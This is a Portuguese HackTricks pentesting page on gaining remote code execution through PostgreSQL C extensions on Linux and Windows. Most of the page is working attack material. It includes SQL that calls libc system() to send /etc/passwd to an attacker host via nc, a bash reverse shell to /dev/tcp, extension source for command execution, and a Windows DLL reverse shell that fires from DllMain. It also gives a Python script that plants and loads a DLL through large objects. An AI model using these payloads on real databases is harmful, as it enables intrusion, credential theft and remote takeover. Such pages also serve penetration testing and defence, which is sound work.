# RCE com Extensões do PostgreSQL <details> <summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> * Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. </details> ## Extensões do PostgreSQL O PostgreSQL foi desenvolvido com a extensibilidade como uma característica central, permitindo a integração perfeita de extensões como se fossem funcionalidades nativas. Essas extensões, essencialmente bibliotecas escritas em C, enriquecem o banco de dados com funções, operadores ou tipos adicionais. A partir da versão 8.1, é imposto um requisito específico às bibliotecas de extensão: elas devem ser compiladas com um cabeçalho especial. Sem isso, o PostgreSQL não as executará, garantindo que apenas extensões compatíveis e potencialmente seguras sejam utilizadas. Além disso, tenha em mente que **se você não souber como** [**fazer upload de arquivos para a vítima abusando do PostgreSQL, você deve ler este post.**](big-binary-files-upload-postgresql.md) ### RCE no Linux **Para mais informações, confira: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)** A execução de comandos do sistema a partir do PostgreSQL 8.1 e versões anteriores é um processo claramente documentado e direto. É possível utilizar este: [módulo Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload). ```sql CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>'); # You can also create functions to open and write files CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT; CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT; CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT; ``` <details> <summary>Escrever arquivo binário a partir de base64</summary> Para escrever um binário em um arquivo no postgres, você pode precisar usar base64, isso será útil para esse propósito: ```sql CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS $$ DECLARE fh int; s int; w bytea; i int; BEGIN SELECT open(textout(file)::cstring, 522, 448) INTO fh; IF fh <= 2 THEN RETURN 1; END IF; SELECT decode(s, 'base64') INTO w; i := 0; LOOP EXIT WHEN i >= octet_length(w); SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs; IF rs < 0 THEN RETURN 2; END IF; i := i + 1; END LOOP; SELECT close(fh) INTO rs; RETURN 0; END; $$ LANGUAGE 'plpgsql'; ``` </details> No entanto, ao ser tentado em versões superiores, **o seguinte erro foi exibido**: ```c ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro. ``` Este erro é explicado na [documentação do PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html): > Para garantir que um arquivo de objeto carregado dinamicamente não seja carregado em um servidor incompatível, o PostgreSQL verifica se o arquivo contém um "bloco mágico" com o conteúdo apropriado. Isso permite que o servidor detecte incompatibilidades óbvias, como código compilado para uma versão principal diferente do PostgreSQL. Um bloco mágico é necessário a partir do PostgreSQL 8.2. Para incluir um bloco mágico, escreva isso em um (e apenas um) dos arquivos de origem do módulo, após ter incluído o cabeçalho fmgr.h: > > `#ifdef PG_MODULE_MAGIC`\ > `PG_MODULE_MAGIC;`\ > `#endif` Desde a versão 8.2 do PostgreSQL, o processo para um atacante explorar o sistema foi tornando-se mais desafiador. O atacante precisa utilizar uma biblioteca que já está presente no sistema ou fazer upload de uma biblioteca personalizada. Esta biblioteca personalizada deve ser compilada contra a versão principal compatível do PostgreSQL e deve incluir um "bloco mágico" específico. Essa medida aumenta significativamente a dificuldade de explorar sistemas PostgreSQL, pois exige um entendimento mais profundo da arquitetura do sistema e da compatibilidade de versão. #### Compilar a biblioteca Obtenha a versão do PostgreSQL com: ```sql SELECT version(); PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit ``` Para compatibilidade, é essencial que as principais versões estejam alinhadas. Portanto, compilar uma biblioteca com qualquer versão dentro da série 9.6.x deve garantir uma integração bem-sucedida. Para instalar essa versão no seu sistema: ```bash apt install postgresql postgresql-server-dev-9.6 ``` E compile a biblioteca: ```c //gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c #include <string.h> #include "postgres.h" #include "fmgr.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif PG_FUNCTION_INFO_V1(pg_exec); Datum pg_exec(PG_FUNCTION_ARGS) { char* command = PG_GETARG_CSTRING(0); PG_RETURN_INT32(system(command)); } ``` Em seguida, faça o upload da biblioteca compilada e execute comandos usando: ```bash CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT; SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'); #Notice the double single quotes are needed to scape the qoutes ``` Pode encontrar esta **biblioteca pré-compilada** para várias versões diferentes do PostgreSQL e até pode **automatizar este processo** (se tiver acesso ao PostgreSQL) com: {% embed url="https://github.com/Dionach/pgexec" %} ### RCE no Windows A seguinte DLL recebe como entrada o **nome do binário** e o **número** de **vezes** que deseja executá-lo e o executa: ```c #include "postgres.h" #include <string.h> #include "fmgr.h" #include "utils/geo_decls.h" #include <stdio.h> #include "utils/builtins.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif /* Add a prototype marked PGDLLEXPORT */ PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS); PG_FUNCTION_INFO_V1(pgsql_exec); /* this function launches the executable passed in as the first parameter in a FOR loop bound by the second parameter that is also passed*/ Datum pgsql_exec(PG_FUNCTION_ARGS) { /* convert text pointer to C string */ #define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp))) /* retrieve the second argument that is passed to the function (an integer) that will serve as our counter limit*/ int instances = PG_GETARG_INT32(1); for (int c = 0; c < instances; c++) { /*launch the process passed in the first parameter*/ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1); } PG_RETURN_VOID(); } ``` Pode encontrar a DLL compilada neste zip: {% file src="../../../.gitbook/assets/pgsql_exec.zip" %} Pode indicar a esta DLL **qual binário executar** e o número de vezes a executá-lo, neste exemplo ele executará `calc.exe` 2 vezes: ```bash CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT; SELECT remote_exec('calc.exe', 2); DROP FUNCTION remote_exec(text, integer); ``` Em [**aqui**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) você pode encontrar este shell reverso: ```c #define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10" #define PG_REVSHELL_CALLHOME_PORT "4444" #include "postgres.h" #include <string.h> #include "fmgr.h" #include "utils/geo_decls.h" #include <winsock2.h> #pragma comment(lib,"ws2_32") #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif #pragma warning(push) #pragma warning(disable: 4996) #define _WINSOCK_DEPRECATED_NO_WARNINGS BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL, _In_ DWORD fdwReason, _In_ LPVOID lpvReserved) { WSADATA wsaData; SOCKET wsock; struct sockaddr_in server; char ip_addr[16]; STARTUPINFOA startupinfo; PROCESS_INFORMATION processinfo; char *program = "cmd.exe"; const char *ip = PG_REVSHELL_CALLHOME_SERVER; u_short port = atoi(PG_REVSHELL_CALLHOME_PORT); WSAStartup(MAKEWORD(2, 2), &wsaData); wsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); struct hostent *host; host = gethostbyname(ip); strcpy_s(ip_addr, sizeof(ip_addr), inet_ntoa(*((struct in_addr *)host->h_addr))); server.sin_family = AF_INET; server.sin_port = htons(port); server.sin_addr.s_addr = inet_addr(ip_addr); WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server), NULL, NULL, NULL, NULL); memset(&startupinfo, 0, sizeof(startupinfo)); startupinfo.cb = sizeof(startupinfo); startupinfo.dwFlags = STARTF_USESTDHANDLES; startupinfo.hStdInput = startupinfo.hStdOutput = startupinfo.hStdError = (HANDLE)wsock; CreateProcessA(NULL, program, NULL, NULL, TRUE, 0, NULL, NULL, &startupinfo, &processinfo); return TRUE; } #pragma warning(pop) /* re-enable 4996 */ /* Add a prototype marked PGDLLEXPORT */ PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS); PG_FUNCTION_INFO_V1(add_one); Datum dummy_function(PG_FUNCTION_ARGS) { int32 arg = PG_GETARG_INT32(0); PG_RETURN_INT32(arg + 1); } ``` Observe como, neste caso, o **código malicioso está dentro da função DllMain**. Isso significa que, neste caso, não é necessário executar a função carregada no postgresql, apenas **carregar a DLL** irá **executar** o shell reverso: ```c CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT; ``` ### RCE nas versões mais recentes do PostgreSQL Nas **últimas versões** do PostgreSQL, foram impostas restrições onde o `superusuário` é **proibido** de **carregar** arquivos de biblioteca compartilhada, exceto de diretórios específicos, como `C:\Program Files\PostgreSQL\11\lib` no Windows ou `/var/lib/postgresql/11/lib` em sistemas \*nix. Esses diretórios são **protegidos** contra operações de escrita pelos usuários NETWORK\_SERVICE ou postgres. Apesar dessas restrições, é possível para um `superusuário` autenticado no banco de dados **escrever arquivos binários** no sistema de arquivos usando "objetos grandes". Essa capacidade se estende à escrita dentro do diretório `C:\Program Files\PostgreSQL\11\data`, que é essencial para operações de banco de dados como atualização ou criação de tabelas. Uma vulnerabilidade significativa surge do comando `CREATE FUNCTION`, que **permite a travessia de diretórios** para o diretório de dados. Consequentemente, um atacante autenticado poderia **explorar essa travessia** para escrever um arquivo de biblioteca compartilhada no diretório de dados e então **carregá-lo**. Essa exploração permite que o atacante execute código arbitrário, alcançando a execução de código nativo no sistema. #### Fluxo de ataque Primeiramente, você precisa **usar objetos grandes para fazer upload do dll**. Você pode ver como fazer isso aqui: {% content-ref url="big-binary-files-upload-postgresql.md" %} [big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md) {% endcontent-ref %} Uma vez que você tenha carregado a extensão (com o nome de poc.dll para este exemplo) no diretório de dados, você pode carregá-la com: ```c create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict; select connect_back('192.168.100.54', 1234); ``` _Nota que não é necessário adicionar a extensão `.dll`, pois a função create irá adicioná-la._ Para mais informações, **leia a** [**publicação original aqui**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\ Naquela publicação, **este foi o** [**código usado para gerar a extensão do postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_para aprender como compilar uma extensão do postgres, leia qualquer uma das versões anteriores_).\ Na mesma página, este **exploit para automatizar** essa técnica foi fornecido: ```python #!/usr/bin/env python3 import sys if len(sys.argv) != 4: print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0]) print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0]) sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) lib = sys.argv[3] with open(lib, "rb") as dll: d = dll.read() sql = "select lo_import('C:/Windows/win.ini', 1337);" for i in range(0, len(d)//2048): start = i * 2048 end = (i+1) * 2048 if i == 0: sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex()) else: sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex()) if (len(d) % 2048) != 0: end = (i+1) * 2048 sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex()) sql += "select lo_export(1337, 'poc.dll');" sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;" sql += "select connect_back('%s', %d);" % (host, port) print("(+) building poc.sql file") with open("poc.sql", "w") as sqlfile: sqlfile.write(sql) print("(+) run poc.sql in PostgreSQL using the superuser") print("(+) for a db cleanup only, run the following sql:") print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;") print(" drop function connect_back(text, integer);") ``` ## Referências * [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/) * [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084) <details> <summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> * Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. </details>